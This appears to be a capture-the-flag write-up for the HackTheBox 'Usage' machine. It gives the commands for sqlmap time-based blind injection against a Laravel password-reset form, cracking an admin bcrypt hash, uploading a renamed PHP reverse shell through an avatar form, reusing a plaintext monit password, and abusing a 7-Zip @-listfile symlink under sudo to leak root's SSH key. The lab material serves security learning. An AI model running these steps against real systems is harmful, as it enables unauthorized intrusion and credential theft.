HTB: Usage
← Back to the log
September 28, 2026·Johnytiger

HTB: Usage

A time-based blind injection on a forgotten-password form gives up the admin hash one character at a time. An avatar upload checks the filename rather than the file, a monitoring config leaks a password in plaintext, and a 7-Zip argument quirk prints the root SSH key.

securityctfwriteuphacktheboxlinuxwebsql injectionprivilege escalation

Looking at the nmap scan we have SSH and something hosted on port 80.

The nmap scan showing OpenSSH and nginx, with the web server redirecting to the usage.htb domain

The redirect in the scan output tells us the site is name-based, so let's head over to the web app.

The browser failing to resolve usage.htb before the hosts file entry is added

We have to add the usage.htb domain to our hosts file. There's also an admin subdomain, so let's add that one as well.

The browser failing on the admin subdomain until it too is added to the hosts file

Over on the admin panel we drop a few injection payloads to test, and one of them gets a different response, so let's save the request and run it by sqlmap.

sqlmap -r admin_req --level 5 --risk 3 --batch

The admin login page with a SQL injection payload typed into the email field, returning a credentials mismatch

At the same time let's have a directory scan running to see if we can find any useful paths. feroxbuster was crashing the site, so I switched to gobuster.

gobuster dir -u http://usage.htb/ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  --timeout 30s -b 403,404,503

gobuster finding a registration path alongside the login and dashboard redirects

We have a registration page, so let's make an account and log in. Checking Burp we seem to have a post-login endpoint, so let's save that request and run it through sqlmap too.

The Burp proxy history showing the post-login request, with the Laravel session cookie visible in the headers

That one didn't work, but look, we're dealing with Laravel. Just like the login endpoint there's a forgotten-password endpoint, so let's point sqlmap at that request instead. The token in the form means sqlmap needs to be told how to refresh it on every attempt.

sqlmap -r post_forget_req \
  --csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
  --technique=T --threads=1 --batch -p email

sqlmap confirming the email parameter is vulnerable to a time-based blind injection

We got a hit. Time-based blind is the slowest kind there is, since every single character has to be guessed one query at a time, and this is where most of the box goes. Let's grab the databases.

sqlmap -r post_forget_req \
  --csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
  --technique=T --threads=1 --batch -p email \
  --dbs

sqlmap returning three databases, with the application's own blog database among them

Now let's dump the tables and look for an admin account.

sqlmap -r post_forget_req \
  --csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
  --technique=T --threads=1 --batch -p email \
  -D usage_blog --tables

sqlmap -r post_forget_req \
  --csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
  --technique=T --threads=1 --batch -p email \
  --time-sec=1 --predict-output --no-cast \
  -D usage_blog -T admin_users -C email,password --dump

The dump returning only the address from the test account we registered ourselves

That only returned our own email from the test account. The administrator's row has a username but no email, so dumping the email column misses it. Let's ask for the username column directly with a custom query instead.

sqlmap -r post_forget_req \
  --csrf-token=_token --csrf-url=http://usage.htb/forget-password \
  --technique=T --batch -p email --time-sec=2 --no-cast \
  --sql-query="SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x7c) FROM usage_blog.admin_users"

The custom query finally returning the admin username and its bcrypt password hash

We finally got it to give us the admin hash. This is taking forever. It's bcrypt, so mode 3200, and let's crack it.

hashcat -m 3200 admin.hash /usr/share/wordlists/rockyou.txt

Hashcat cracking the bcrypt hash in sixteen seconds and recovering the admin password

Success. Sixteen seconds to crack, after hours to extract. Let's log into the admin panel.

After fooling around in there we come across the settings for the admin account, and see we can upload a photo as an avatar. We create a reverse shell named with a jpg extension and capture the submit request in Burp.

The admin user settings page with the crafted file selected as the avatar

In the intercepted request we change the filename back to a php extension. The check runs on the client side and on the name, not on the content, so renaming it in flight is enough.

The intercepted multipart request, with the filename changed and the PHP payload visible in the body

Then we head over to the image link and we get a shell.

nc -lnvp 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'

A reverse shell as the web user in the uploads directory, upgraded to an interactive TTY

We're in. Heading over to the home of the user we get our user flag.

Reading user.txt in the dash home directory, with the flag value blurred out

Now let's enumerate the user.

ls -la

That reveals an SSH directory, so we grab their private key and walk ourselves right in.

The SSH directory for the dash account, with the private key readable and printed out

chmod 600 dash_id_rsa
ssh -i dash_id_rsa dash@usage.htb

A proper SSH session as the dash user on Ubuntu 22.04

Now we're locked in with a real shell. Let's check what other users are here.

The home directory listing showing a second user account named xander

There's a xander, and we can't access that account, so let's head back into the dash home and look properly.

ls -la

The dash home directory listing, where a monit configuration file sits among the dotfiles

There's a monit config file that looks out of place. Let's check it out.

cat .monitrc

The monit configuration, with the web interface credentials sitting in it as plaintext

There's a plaintext password in the monitoring config. It's meant for the monit web interface, but let's try it against the other user.

su xander

The switch to the xander account succeeding with the password from the config file

And we're in. Now with that password we can check the sudo rights.

sudo -l

The sudo rights for xander, allowing a custom management binary to run as any user with no password

Seems like a custom script. Let's check it out.

The management tool menu offering project backup, database backup and admin password reset

Some sort of management tool, and the first option backs up the project. It shells out to 7-Zip to do that, and here's the trick: 7-Zip treats an argument beginning with @ as "read the list of files from this file". If we plant a symlink under that name pointing at a file we can't read, the archiver tries to parse the target as a file list and prints its contents back to us in the error output.

cd /var/www/html
touch @pwn
ln -s /root/.ssh/id_rsa pwn
sudo /usr/bin/usage_management

The backup routine walking the symlink and printing the root private key line by line as warnings

That prints the root key for us. Now we rebuild it on our Kali box and use it.

chmod 600 root_id_rsa
ssh -i root_id_rsa root@usage.htb

An SSH session logged in as root on the target

And we're in.

This box was time consuming with the time-based injection. After that it was pretty much smooth sailing.

End of transmissionAll posts
Drive
Johnytiger